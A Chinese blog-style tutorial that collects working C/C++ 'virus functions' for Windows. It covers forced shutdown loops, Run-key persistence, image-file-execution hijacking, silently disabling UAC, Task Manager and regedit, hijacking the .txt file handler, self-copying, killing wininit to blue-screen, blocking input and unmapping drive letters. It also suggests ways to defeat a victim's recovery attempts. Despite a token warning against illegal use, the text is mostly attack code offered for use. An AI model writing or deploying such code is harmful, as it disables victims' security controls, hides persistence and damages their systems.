总结了几个 比较常见的、比较基础的病毒函数。高端的肯定是不会列在这里的。
温馨而又冰冷的提示: 严禁用于非法用途哦!!!!
前方高能,请做好心理准备。
<必备头文件:Windows.h>
1.电源类
这几个也没啥技术含量,但反复调用的杀伤力还是挺强的(开机瞬关)。
(1)注销
VOID Logoff(VOID)
{
WinExec("logoff.exe",SW_HIDE);
//或shutdown -l -t 0
}
(2)关机
VOID ShutdownNow(VOID)
{
WinExec("shutdown -p",SW_HIDE);
//-p是瞬间 关机 的意思,不是瞬间的意思
}
(2)重启
VOID Reboot(VOID)
{
WinExec("shutdown -r -t 0",SW_HIDE);
}
如果真的要自己用函数写的话要用到ExitWindowsEx()。
(3)睡眠或休眠
这个没啥用,但还是写在这里。
VOID SystemSleep(WINBOOL bSuspend=TRUE,WINBOOL bForce=FALSE)
{ //首参数TRUE睡眠,FALSE休眠
//调来权限
HANDLE token = NULL;
TOKEN_PRIVILEGES tp = { 0 };
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token);
AdjustTokenPrivileges(token,FALSE,&tp,sizeof(tp),NULL,NULL);
CloseHandle(token);
SetSystemPowerState(bSuspend,bForce); // 首参数TRUE睡眠,FALSE休眠
}
2.注册表类
这一类非常非常重要,掌握着军事大权,而且非常危险。。都是系统核心内容,比较费心。
注意:必须管理员权限!!
怎么获取它?可以见 这里
(1)开机自启
这个方法很多,详见 这里
举一种简单的(不简单的自己研究):
WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你
LPCSTR fullName=_pgmptr, //默认值就是自己
LPCSTR param=NULL)
{
HKEY hKey;
char str[280];
//找到系统的启动项
LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开启动项
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);
if(lRet == ERROR_SUCCESS)
{
if(param != NULL) //如果要用参数
{
sprintf(str,"\"%s\" %s",fullname,param);
}
//添加一个子键,并设置值
lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));
//关之
RegCloseKey(hKey);
if(lRet != ERROR_SUCCESS)
{
return false;
}
return true;
}else{
return false;
}
}
呃. . .
能不能逃过 杀软的法眼 看运气,
但本文大部分函数下场都很惨。
没杀软才叫尽兴!!
(2)镜像劫持
这个有点恐怖了,毕竟还是很神奇的一个技术,
「移花接木」之大法。
还是听不懂的看 百科
不过有一些程序是绑不动的(亲试),例如mmc,iexplore.
上代码:
//我还是别用IFEO这个名称好,因为这简直是黑白颠倒:IFEO并不是镜像劫持的意思。
VOID ImageHijack(LPCSTR exe,LPCSTR real_exe)
{ //镜像劫持技术,第二个参数添实际运行对象
//HKEY hkey;
char str[280];
sprintf(str,
"REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s\" /v Debugger /t REG_SZ /d \"%s\" /f",exe,real_exe);
WinExec(str,SW_HIDE);
return;
}
哦哈哈,把cmd绑了之后任何.bat都挂了。。。
我估计wscript和cscript不让绑,具体我也懒得试。
(3)关闭UAC
这个可能比较有用,在申请管理员权限的时候不再跳出框框,不再让用户抉择。
不过唯一的BUG,
就是右下角会弹出“重启计算机才能关闭用户账户控制”的消息,
为此我隐藏了任务栏,不过还是能凭空跳出来(尬)。。
只有重启才能生效哦!!
函数代码:
void CloseUAC(VOID)
{//须管理员权限
WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"ConsentPromptBehaviorAdmin\" /t REG_DWORD /d 0 /F",SW_HIDE);
WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\" /t REG_DWORD /d 0 /F",SW_HIDE);
WinExec("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"PromptOnSecureDesktop\" /t REG_DWORD /d 0 /F",SW_HIDE);
}//关机后应用
三管齐下,相得益彰。一重启就可以为所欲为了!!!
(4)禁用任务管理器
很多用户弄不掉进程就开它,拿下面只一招把它毙了!
:D
VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{
HKEY hkey;
DWORD v = dwDisable;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
好!接着干!↓
(5)禁用注册表编辑器
使用注册表编辑器可以很方便地修改键值,把它封了还能逞吗?
VOID RegDisableRegedit(DWORD dwDisable=TRUE)
{
HKEY hkey;
DWORD v = dwDisable;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
OK,于是用户开始网上求助。。发现有什么.inf安装恢复,还有啥.reg写上去恢复的,更有甚者打开gpedit.msc进行恢复的。。
像我的话我就会 “每隔4秒taskkill一次notepad,一次wordpad,每隔10秒删掉全盘所有.reg||.inf||.js||.vbs,加上随时检测标题为 '本地组策略编辑器’的窗口 如果有就蓝屏抗议” 的方法, 可能有点过分,这些方法任大家自由发挥。
(6)txt文件自启
这个也是必备的,不过我这里老是无效果,单独拿出来就好了。真是奇怪。
VOID TextFileBoot(LPCSTR Wholepath=_pgmptr,LPCSTR param=NULL)
{ //默认值:notepad.exe %1
DWORD len;
HKEY hkey;
LPSTR str;
if(param != NULL)
{
sprintf(str,"\"%s\" %s",Wholepath,param);
}
len = strlen(param == NULL ? Wholepath : str);
LPCSTR data_set = "txtfile\\shell\\open\\command";
RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey);
RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)(param == NULL ? Wholepath : str), len);
RegCloseKey(hkey);
}
一定要先打开notepad打幌子哦!!!
可以举一反三,把exe,vbs等全和自己连起来,达到条条大路跑病毒的效果。
3.其它技能
(1)自我复制
这个应该很常见,与(2)相搭配简直媲美!
提示:若要迁到C盘须管理员权限哦!
VOID CopyMyselfTo(LPCSTR lpTargetPath) {
char tcBuf[MAX_PATH];
GetModuleFileName(NULL,tcBuf,sizeof(tcBuf));
CopyFile(tcBuf,lpTargetPath,FALSE);
}//这个函数哪里摘的我忘了,但我心存感激。
(2)自我删除
懒得写了,可以看看 别人的
。。凡是自我删除的都是有一些不稳定。。像我这个带多个参数的病毒就只能拜托副本了。
(3)互守(防杀)
这个东西反而让我的程序变得一塌糊涂。。不过还行。
可以试一下。。
链接
(4)蓝屏
通过暴力杀掉系统关机进程达到效果。
注意:须管理员权限!!
几个关键进程:lsass ,smss,csrss,winlogon(高版本不行),wininit,system 等等等。
不过能否杀了都蓝屏就不一定了。
这里用wininit做实验对象:
VOID BlueScreen(VOID)
{
system("taskkill /im wininit.exe /f");
}
WinXP一定蓝屏的,win7可能可以。win10一定不行。
高版本的蓝屏有是有,但有点危险;你可以自己去别的地方找找看。
(5)黑屏(假的)
实则是关闭显示器,但和直接按显示屏的电源的区别是 可以晃鼠标唤醒!跟睡眠有点相似。
没啥用,不过可以吓吓人。
VOID BlackScreen(VOID)
{ //暂时黑屏
PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
}
(6)锁定鼠标
冻结鼠标的效果不言而喻:
VOID FreezeMouse(bool setPos=false, POINT pos={0,0})
{ //冻结鼠标!!
RECT rect;
if(setPos)
{
rect.left = pos.x;
rect.right = pos.x;
rect.top = pos.y;
rect.bottom = pos.y;
ClipCursor(&rect);
}else{
POINT pt;
GetCursorPos(&pt);
rect.left = pt.x;
rect.right = pt.x;
rect.top = pt.y;
rect.bottom = pt.y;
ClipCursor(&rect);
}
}
这个函数参数
不填或填false可以就地冻结;
填true和一个坐标可以冻在某个点上。(作)
附加解冻:
VOID UnfreezeMouse(VOID)
{
ClipCursor(NULL);
}
该函数有个bug就是换个窗口就失效了。
这样的话可以换用持续设置鼠标坐标来达到冻结的效果。
(7)屏蔽输入
这个杀伤力还是很强的,如果要试的话别忘了几秒后再取消屏蔽。否则只能按机箱上的按钮重启了
需头文件 winable.h。
注意:GCC编译器是必须要包含Winable.h的,但较高版本的VC好像把winable.h移除了,把BlockInput()放到winuser.h里定义了。VC(例如使用Visual Studio)使用windows.h就行了
VOID FreezeInput(VOID)
{
BlockInput(TRUE);
}
VOID UnfreezeInput(VOID)
{
BlockInput(FALSE);
}
可以试试。
(8)窗口毁容
我不知这是我这里天生的BUG还是怎么样,去除标题栏竟然有这般效果:
程序不崩,窗口弄成一个虚无的图形挂在桌面上,极易被刷新掉。
函数:
VOID DisfigureWindow(HWND hwnd)
{ //使窗口毁容!!!!
LONG avatar=GetWindowLong(hwnd,0);
avatar = avatar & ~WS_CAPTION;
SetWindowLong(hwnd,GWL_STYLE,avatar);
}
(9)移动窗口
这个看起来没啥杀伤力,但配合GetForegroundWindow()起来不要太牛。
LONG GetWindowWidth(HWND hwnd=GetConsoleWindow()){
RECT rect=GetWindowRect(hwnd);
return (rect.right - rect.left);
}
LONG GetWindowHeight(HWND hwnd=GetConsoleWindow()){
RECT rect=GetWindowRect(hwnd);
return (rect.bottom - rect.top);
}
//简洁版,自动获取大小的重载
WINBOOL MoveWindow(HWND hwnd=GetConsoleWindow(),
int X=0,int Y=0,bool bRepaint=true){
LONG w,h;
w=GetWindowWidth(hwnd);
h=GetWindowHeight(hwnd);
MoveWindow(hwnd,X,Y,w,h,bRepaint);
}
(10)消息的显示
病毒一般会显示几个恶心的消息,可以用下面几种方法:
①对话框
这个不讲了,太简单了,一般都是调用其他(例如自己的副本)来产生对话框,否则会阻塞的。
看这里吧
②托盘消息
封装一下就很好用了:
安装
//***WARNING***:NO MFC MACROS!!!!!
#define IDR_MAINFRAME NULL
#define WM_PROC WM_SHOWWINDOW
//备注:我不是MFC,没有这俩,自己弄出来的,也没啥影响。。苟且偷生吧。
NOTIFYICONDATA SetupTray(HWND hwnd,LPCSTR label="Program")
{
NOTIFYICONDATA m_nid;
m_nid.cbSize=sizeof(NOTIFYICONDATA);// 结构大小
m_nid.hWnd=hwnd; // 接收 托盘通知消息 的窗口句柄
m_nid.uID=IDR_MAINFRAME;
m_nid.uFlags=NIF_MESSAGE;//表示uCallbackMessage 有效
m_nid.uCallbackMessage=WM_PROC; // 消息被发送到此窗口过程
m_nid.hIcon=::LoadIcon(::GetModuleHandle(NULL),MAKEINTRESOURCE(IDR_MAINFRAME));
strcpy(m_nid.szTip,label); // 提示文本
WINBOOL res = Shell_NotifyIcon(NIM_ADD,&m_nid);
return m_nid;
}
返回值要接住哦!↕
消息直达
WINBOOL TrayTip(NOTIFYICONDATA m_nid,
LPCTSTR szMsg,
LPCTSTR szTitle="TrayTip",
DWORD dwInfoFlags=NIIF_INFO,
UINT uTimeout=1000)
{ //Win7: Ballon style Win10: Metro style
m_nid.cbSize=sizeof(NOTIFYICONDATA);
m_nid.uFlags = NIF_INFO;
m_nid.uVersion = NOTIFYICON_VERSION;
m_nid.uTimeout = uTimeout;
m_nid.dwInfoFlags = dwInfoFlags;
strcpy(m_nid.szInfo,szMsg ? szMsg : _T(""));
strcpy(m_nid.szInfoTitle,szTitle ? szTitle : _T(""));
return Shell_NotifyIcon(NIM_MODIFY, &m_nid);
}
把接住的东西放到首参数里,第二个是消息,第三个是标题,第四个是样式(自己Ctrl+Click看看),第五个是时长(单位ms)
卸载
WINBOOL UnloadTray(NOTIFYICONDATA m_nid)
{
return Shell_NotifyIcon(NIM_DELETE,&m_nid);
}
再传这儿一下就好了。
(11)隐藏任务栏
一个ShowWindow就好了。
VOID HideTaskbar(VOID)
{
ShowWindow(FindWindow("Shell_TrayWnd", NULL),SW_HIDE);
}
(12)篡改盘符
警告:慎用。要试也是在虚拟机里试。
BOOL DeleteDrive(LPCSTR SThide)
//篡改盘符 //填 C: D:之类
{
if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) //把已有的盘符定义为空,导致无法访问磁盘
return false;
return true;
}
假如填C:
运行后刷新一下,发现整个桌面只剩Recycle Bin了,整个系统都瘫痪了
(13)按键
这个也说得过去,看上去不咋的,但你用用下面这个语句,会发现发生了奇怪的事情,除非按一下Ctrl.
keybd_event(VK_LCONTROL,0,0,0); //只按不放
按键详见 这里
参考文献
C语言编写简易病毒 https://blog.csdn.net/hbhgyu/article/details/77775926
windows程序托盘图标以及消息提示–示例程序https://blog.csdn.net/wangshubo1989/article/details/49533051
使用C语言让Windows睡眠/休眠
https://www.kechuang.org/t/82297
等。